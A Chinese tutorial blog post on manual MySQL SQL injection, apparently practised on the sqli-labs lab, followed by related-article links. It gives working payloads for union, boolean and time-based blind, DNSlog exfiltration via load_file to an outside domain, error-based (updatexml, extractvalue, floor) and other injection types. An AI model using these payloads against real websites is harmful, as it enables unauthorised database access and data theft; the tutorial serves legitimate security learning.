一.什么是SQL注入

 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。本笔记环境为MySQL数据库。

二.MySQL基本增删查改语法

  • 创建与删除数据库

    语法规则

    创建:CREATE DATABASE database_name

    删除:DROP DATABASE database_name
  • 创建与删除表

    语法规则

    创建表:
CREATE TABLE table_name(
#字段1 数据类型,
name VARCHAR(20),
id INT(8)
);
  • 插入数据

    语法规则:INSERT INTO table_name (name,id) VALUES('张三',1);
  • 删除数据

    语法规则:DELETE FROM table_name WHERE id=1;
  • 查询语句

    语法规则:SELECT name FROM table_name WHERE id=1;

三.INFORMATION_SCHEMA库

  • information_schema数据库保存了整个Mysql中的所有信息(Mysql5.0以上),可以理解为信息数据库
  • information_schema数据库表:

    1.SCHEMATA表: 保存了Mysql数据库中所有的库名 SHOW DATABASES;的结果就是取自该表的SCHEMA_NAME





    查库 : select schema_name from information_schema.schemata;

    2.TABLES表: 提供了数据库中每一个库的所有表的名称

    查表 : select table_name from information_schema.tables where table_schema='想查表的库名';

    3.COLUMNS表: 提供了所有库的所有表的所有字段信息

    查列 : select column_name from information_schema.columns where table_name='想查字段的表名';

经过上述三个语句 已经可以查询所有的表和字段信息 就可根据查询语句查询任意信息

栗子: select password,username from security.users; (查询security库中users表中所有password和username信息)

四.MySQL注入常用函数

  • user();/current_user(); 查询当前用户

  • @@basedir; 数据库安装路径 / @@datadir; 数据库路径

  • @@version_compile_os; 查询操作系统版本

  • 字符串拼接函数

    concat , concat_ws(用字符将参数拼接起来) , group_concat

    例如:select group_concat(concat_ws('~',username,password)) from security.users;

  • 字符串截取函数

    substr(从第n位开始,截取m位):select substr((selsect username from users limit 0,1),1,2);

    mid(从第n位开始,截取m位):select mid('martin',2,3);

    left(从左开始,截取n位):select left('martin',2);

    right(从右开始,截取n位):select right('martin',2);

    locate(返回第一个字符串首次出现在第二个字符出现的位置):select locate('martin','12432martin');
  • 返回ASCII字符对应的值(反向用char)

    ascii:select ascii('a');

    ord:select ord('a');

  • 部分计算

    select length(database()); 当前数据库名称的长度

    count 计算数目
  • 延时函数

    select sleep(5); 延时5秒 常用于时间盲注

    if:语法if(exp1,exp2,exp3); 如果exp1为真,执行exp2,否则执行exp3
  • 常见注释
#
--+(浏览器常用)
/*/
/*!*/

五.常见的SQL注入类型

  • 字符型



根据提示 用GET方法提交ID参数



改变URL 发现报错



查看源码



构造URL:http://127.0.0.1/sqli/Less-1/?id=1' and 1 = 1 --+(1=1 正常 1=2报错)

  • 数字型

    查看第二关源码



    发现与第一关不同的是 id参数数据类型发生了变化 所以构造URL

  • 搜索型

    常见源码 :$sql="select * from user where password like '%$pwd%' order by password";

    若用户输入m'and 1=1 and '%'=' 则会构成注入

    源码中的语句会变成:select * from user where password like '%m'and 1=1 and '%'='%' order by password

六.常用的注入方式

  • union注入
  1. 使用order by语句进行列数的估计





    由此可以看出 列数为3列
  2. 使用union注入(union selectunion all select)



    根据前述数据库查询语句 查询有哪些数据库 表名 进而查询详细数据

  • 布尔盲注(页面无回显,返回的只有布尔值)

    在id后加' 没有出现回显



    判断是否存在注入与union类似 可以使用length来猜取库名 表名长度 如下图



    判断出长度 使用substr来遍历出数据库名的字符

    构造:?id=1' and ascii(substr(database(),1,1))>n --+ (使用BP爆破)
  • 时间盲注 (基于Web界面响应的时间差来判断注入)



    看出sleep函数已经被带入后端处理了 证明存在注入

    构造URL:http://localhost/sqli/Less-9/?id=1%27%20and%20if%20(length(database())=8,sleep(5),1)--+



    大体步骤同布尔盲注 只是构造的函数和判断方式改变了一下
  • DNSlog盲注

    利用条件 mysql.inisecure_file_priv必须为空

    构造payload:load_file(concat('\\\\',执行的语句,'.自行注册\\abc'))--+
  • 报错注入 (公式化注入 直接插入payload)

    1)updatexml payload:?id=1' and (updatexml(1,concat(0x7e,(SQL语句),0x7e),1));--+



    2)extractvalue

    payload:?id=1' and (extractvalue(1,concat(0x7e,(SQL语句),0x7e)));--+

  1. floor

    payload:?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

  • 宽字节注入 (gbk要两个asscii组合解码)

    特殊字符被转义 如:



    因为使用GBK编码 /被合并成了特殊字符

  • 二次注入

    将存储到数据库中的数据取出在执行 形成的注入
  • http请求头注入

    抓包修改http请求头 构成注入
  • 堆叠注入 (多条sql一起执行 可以修改数据库中的数据)

    如图 新建了一个test表目


以上 就是一些常见的SQL注入知识点

基础Web漏洞-SQL注入入门(手工注入篇)的更多相关文章

  1. 了解web漏洞-sql注入

    1:为什么要学web漏洞? 作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才 ...

  2. SQL注入之手工注入

    手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...

  3. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

  4. WEB漏洞——SQL

    由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧 话不多说先上大佬写的表[ctfhub]SQL注入 - ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. 手工注入——access手工注入实战和分析

    今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...

  7. pikachu-字符型注入(get) #手工注入

    1.检测注入类型 http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 ...

  8. pikachu-数字型注入(post)#手工注入

    1, 因为是post型,所以需要抓取数据包 2, 测试结果为数字型注入 提交恒等的语句可以查询到所有的数据信息 3, 使用UNION联合查询法 判断字段数,测试为2个字段时没有报错,所以可以判断字段数 ...

  9. MSSQLServer基础02(SQL语句入门(脚本、命令))

    SQL 全名是结构化查询语言(Structured Query Language),是关系数据库管理系统的标准语言 SQL语句是和DBMS“交谈”专用的语句,不同DBMS都认SQL语法. SQL语句中 ...

随机推荐

  1. 详细分析链表的数据结构的实现过程(Java 实现)

    目录 链表的数据结构的实现过程(Java 实现) 前言 基本概念 链表的基本结构 链表的基本操作的实现 在链表中添加元素 在链表头添加元素 在链表指定位置处添加元素 链表的虚拟头节点 链表的查询和修改 ...

  2. 常用的android弹出对话框 几乎包含了所有(1)

    我们在平时做开发的时候,免不了会用到各种各样的对话框,相信有过其他平台开发经验的朋友都会知道,大部分的平台都只提供了几个最简单的实现,如果我们想实现自己特定需求的对话框,大家可能首先会想到,通过继承等 ...

  3. package_ios

    PlistBuddy简单使用 https://www.jianshu.com/p/2167f755c47e xcodebuild 命令 https://www.jianshu.com/p/c32263 ...

  4. Fastlane- app自动编译、打包多个版本、上传到app store

    Fastlane是一套使用Ruby写的自动化工具集,用于iOS和Android的自动化打包.发布等工作,可以节省大量的时间. Github:https://github.com/fastlane/fa ...

  5. Mono生命周期小实验

    今天在写代码的时候,遇到一个初始化顺序问题,于是做了一个实验,下面记录结果: 情景: 1.在 脚本A中实例化 一个预制体,该预制体挂有脚本B 2.在 脚本A中,获取实例化物体 身上的 脚本B,并且设置 ...

  6. 【python开发】迈出第一步,这可能是我唯一一次的Python开发了

    好久没写博了,今天就瞎唠唠吧 背景: 组内有个测试平台,是基于Python2+tornado 框架写的,之前自己维护了一套系统的UIweb自动化代码,现在需要集成进去.这很可能是自己唯一一次基于pyt ...

  7. 最强 Java 书单推荐,附学习方法

    技术大佬用1w+字来告诉你该读什么书,循序渐进,并提供百度云盘下载地址.重要的是还有学习方法. 请肆无忌惮地点赞吧,微信搜索[沉默王二]关注这个在九朝古都洛阳苟且偷生的程序员.本文 GitHub gi ...

  8. vue3剖析:响应式原理——effect

    响应式原理 源码目录:https://github.com/vuejs/vue-next/tree/master/packages/reactivity 模块 ref: reactive: compu ...

  9. 企业网站还是要考虑兼容至少IE10

    中国国情,大部分企业还在使用win7,IE浏览器.为了兼容这些,还是少用比较VUE等一些高级的框架,改为使用jquery.用惯了VUE,jquey好多忘得差不多了,其中遇到的问题及解决方案 ajax, ...

  10. java 求水仙花数

    package com.yc.bean; public class ShuiXianHua { public static void main(String[] args) { /** * 题目:打印 ...